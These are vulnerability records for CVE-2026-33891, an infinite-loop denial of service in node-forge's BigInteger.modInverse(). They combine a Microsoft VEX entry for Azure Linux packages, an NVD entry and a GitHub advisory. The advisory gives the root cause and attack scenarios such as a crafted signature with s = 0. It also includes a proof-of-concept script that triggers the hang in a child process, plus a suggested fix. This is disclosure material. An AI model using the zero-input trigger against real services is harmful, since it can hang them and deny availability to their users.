{
  "document": {
    "category": "csaf_vex",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Public",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en-US",
    "notes": [
      {
        "category": "general",
        "text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
        "title": "Disclaimer"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "secure@microsoft.com",
      "name": "Microsoft Security Response Center",
      "namespace": "https://msrc.microsoft.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "CVE-2026-33891 Forge has Denial of Service via Infinite Loop in BigInteger.modInverse() with Zero Input - VEX",
        "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-33891.json"
      },
      {
        "category": "external",
        "summary": "Microsoft Support Lifecycle",
        "url": "https://support.microsoft.com/lifecycle"
      },
      {
        "category": "external",
        "summary": "Common Vulnerability Scoring System",
        "url": "https://www.first.org/cvss"
      }
    ],
    "title": "Forge has Denial of Service via Infinite Loop in BigInteger.modInverse() with Zero Input",
    "tracking": {
      "current_release_date": "2026-04-01T14:37:20.000Z",
      "generator": {
        "date": "2026-04-02T07:12:24.048Z",
        "engine": {
          "name": "MSRC Generator",
          "version": "1.0"
        }
      },
      "id": "msrc_CVE-2026-33891",
      "initial_release_date": "2026-03-02T00:00:00.000Z",
      "revision_history": [
        {
          "date": "2026-03-31T01:02:44.000Z",
          "legacy_version": "1",
          "number": "1",
          "summary": "Information published."
        },
        {
          "date": "2026-04-01T14:37:20.000Z",
          "legacy_version": "2",
          "number": "2",
          "summary": "Information published."
        }
      ],
      "status": "final",
      "version": "2"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "2.0",
                "product": {
                  "name": "CBL Mariner 2.0",
                  "product_id": "17086"
                }
              },
              {
                "category": "product_version",
                "name": "3.0",
                "product": {
                  "name": "Azure Linux 3.0",
                  "product_id": "17084"
                }
              }
            ],
            "category": "product_name",
            "name": "Azure Linux"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "cbl2 reaper 3.1.1-22",
                "product": {
                  "name": "cbl2 reaper 3.1.1-22",
                  "product_id": "1"
                }
              }
            ],
            "category": "product_name",
            "name": "reaper"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "azl3 python-tensorboard 2.16.2-6",
                "product": {
                  "name": "azl3 python-tensorboard 2.16.2-6",
                  "product_id": "2"
                }
              }
            ],
            "category": "product_name",
            "name": "python-tensorboard"
          }
        ],
        "category": "vendor",
        "name": "Microsoft"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "cbl2 reaper 3.1.1-22 as a component of CBL Mariner 2.0",
          "product_id": "17086-1"
        },
        "product_reference": "1",
        "relates_to_product_reference": "17086"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "azl3 python-tensorboard 2.16.2-6 as a component of Azure Linux 3.0",
          "product_id": "17084-2"
        },
        "product_reference": "2",
        "relates_to_product_reference": "17084"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-33891",
      "cwe": {
        "id": "CWE-835",
        "name": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)"
      },
      "notes": [
        {
          "category": "general",
          "text": "GitHub_M",
          "title": "Assigning CNA"
        }
      ],
      "product_status": {
        "known_affected": [
          "17086-1",
          "17084-2"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "CVE-2026-33891 Forge has Denial of Service via Infinite Loop in BigInteger.modInverse() with Zero Input - VEX",
          "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-33891.json"
        }
      ],
      "remediations": [
        {
          "category": "none_available",
          "date": "2026-03-31T01:02:44.000Z",
          "details": "There is no fix available for this vulnerability as of now",
          "product_ids": [
            "17086-1"
          ]
        },
        {
          "category": "none_available",
          "date": "2026-03-31T01:02:44.000Z",
          "details": "There is no fix available for this vulnerability as of now",
          "product_ids": [
            "17084-2"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "environmentalsScore": 0.0,
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "temporalScore": 7.5,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "17086-1",
            "17084-2"
          ]
        }
      ],
      "title": "Forge has Denial of Service via Infinite Loop in BigInteger.modInverse() with Zero Input"
    }
  ]
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "46CBC667-ED99-4B5B-89C8-428CF52FD3FB",
              "versionEndIncluding": "1.3.3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, a Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Version 1.4.0 patches the issue."
    }
  ],
  "id": "CVE-2026-33891",
  "lastModified": "2026-04-08T13:50:28.880",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-27T21:17:25.817",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Vendor Advisory",
        "Exploit"
      ],
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-835"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T21:57:48Z",
    "nvd_published_at": "2026-03-27T21:17:25Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU.\nAffected Package\n\nPackage name: node-forge (npm: node-forge)\nRepository: https://github.com/digitalbazaar/forge\nAffected versions: All versions (including latest)\nAffected file: lib/jsbn.js, function bnModInverse()\nRoot cause component: Bundled copy of the jsbn (JavaScript Big Number) library\n\n## Vulnerability Details\n\nType: Denial of Service (DoS)\nCWE: CWE-835 (Loop with Unreachable Exit Condition)\nAttack vector: Network (if the application processes untrusted input that reaches modInverse)\nPrivileges required: None\nUser interaction: None\nImpact: Availability (process hangs indefinitely)\nSuggested CVSS v3.1 score: 5.3\u20137.5 (depending on the context of usage)\n\n## Root Cause Analysis\n\nThe BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m.\nMathematically, the modular inverse of 0 does not exist \u2014 gcd(0, m) = m \u2260 1 for any m \u003e 1. However, the implementation does not check whether the input value is zero before entering the algorithm\u0027s main loop. When this equals 0, the algorithm\u0027s loop condition is never satisfied for termination, resulting in an infinite loop.\nThe relevant code path in lib/jsbn.js:\n```js\njavascriptfunction bnModInverse(m) {\n  // ... setup ...\n  // No check for this == 0\n  // Enters Extended Euclidean Algorithm loop that never terminates when this == 0\n}\n```\n\n## Attack Scenario\n\nAny application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:\n\nDSA/ECDSA signature verification \u2014 A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang.\nCustom RSA or Diffie-Hellman implementations \u2014 Applications performing modular arithmetic with user-supplied parameters.\nAny cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().\n\nA single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.\n\n## Proof of Concept\n\nEnvironment Setup\n```bash\nmkdir forge-poc \u0026\u0026 cd forge-poc\nnpm init -y\nnpm install node-forge\n```\nReproduction (poc.js)\nA single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging.\n```bash\nmkdir forge-poc \u0026\u0026 cd forge-poc\nnpm init -y\nnpm install node-forge\n# Save the script below as poc.js, then run:\nnode poc.js\n```\n```javascript\n\u0027use strict\u0027;\nconst { spawnSync } = require(\u0027child_process\u0027);\n\nconst childCode = `\n  const forge = require(\u0027node-forge\u0027);\n  // jsbn may not be auto-loaded; try explicit require if needed\n  if (!forge.jsbn) {\n    try { require(\u0027node-forge/lib/jsbn\u0027); } catch(e) {}\n  }\n  if (!forge.jsbn || !forge.jsbn.BigInteger) {\n    console.error(\u0027ERROR: forge.jsbn.BigInteger not available\u0027);\n    process.exit(2);\n  }\n  const BigInteger = forge.jsbn.BigInteger;\n  const zero = new BigInteger(\u00270\u0027, 10);\n  const mod = new BigInteger(\u00273\u0027, 10);\n  // This call should throw or return 0, but instead loops forever\n  const inv = zero.modInverse(mod);\n  console.log(\u0027returned: \u0027 + inv.toString());\n`;\n\nconsole.log(\u0027[*] Testing: BigInteger(0).modInverse(3)\u0027);\nconsole.log(\u0027[*] Expected: throw an error or return quickly\u0027);\nconsole.log(\u0027[*] Spawning child process with 5s timeout...\u0027);\nconsole.log();\n\nconst result = spawnSync(process.execPath, [\u0027-e\u0027, childCode], {\n  encoding: \u0027utf8\u0027,\n  timeout: 5000,\n});\n\nif (result.error \u0026\u0026 result.error.code === \u0027ETIMEDOUT\u0027) {\n  console.log(\u0027[VULNERABLE] Child process timed out after 5s\u0027);\n  console.log(\u0027  -\u003e modInverse(0, 3) entered an infinite loop (DoS confirmed)\u0027);\n  process.exit(0);\n}\n\nif (result.status === 2) {\n  console.log(\u0027[ERROR] Could not access BigInteger:\u0027, result.stderr.trim());\n  console.log(\u0027  -\u003e Check your node-forge installation\u0027);\n  process.exit(1);\n}\n\nif (result.status === 0) {\n  console.log(\u0027[NOT VULNERABLE] modInverse returned:\u0027, result.stdout.trim());\n  process.exit(1);\n}\n\nconsole.log(\u0027[NOT VULNERABLE] Child exited with error (status \u0027 + result.status + \u0027)\u0027);\nif (result.stderr) console.log(\u0027  stderr:\u0027, result.stderr.trim());\nprocess.exit(1);\n```\nExpected Output\n```\n[*] Testing: BigInteger(0).modInverse(3)\n[*] Expected: throw an error or return quickly\n[*] Spawning child process with 5s timeout...\n\n[VULNERABLE] Child process timed out after 5s\n  -\u003e modInverse(0, 3) entered an infinite loop (DoS confirmed)\nVerified On\n```\n\nnode-forge v1.3.1 (latest at time of writing)\nNode.js v18.x / v20.x / v22.x\nmacOS / Linux / Windows\n\n## Impact\n\nAvailability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests.\nScope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.\n\n## Suggested Fix\n\nAdd a zero-value check at the entry of bnModInverse() in lib/jsbn.js:\n```javascript\nfunction bnModInverse(m) {\n  var ac = m.isEven();\n  // Add this check:\n  if (this.signum() == 0) {\n    throw new Error(\u0027BigInteger has no modular inverse: input is zero\u0027);\n  }\n  // ... rest of the existing implementation ...\n}\n```\nAlternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java\u0027s BigInteger.modInverse() throws ArithmeticException).",
  "id": "GHSA-5m6q-g25r-mvwx",
  "modified": "2026-03-27T21:50:24Z",
  "published": "2026-03-26T21:57:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33891"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has Denial of Service via Infinite Loop in BigInteger.modInverse() with Zero Input"
}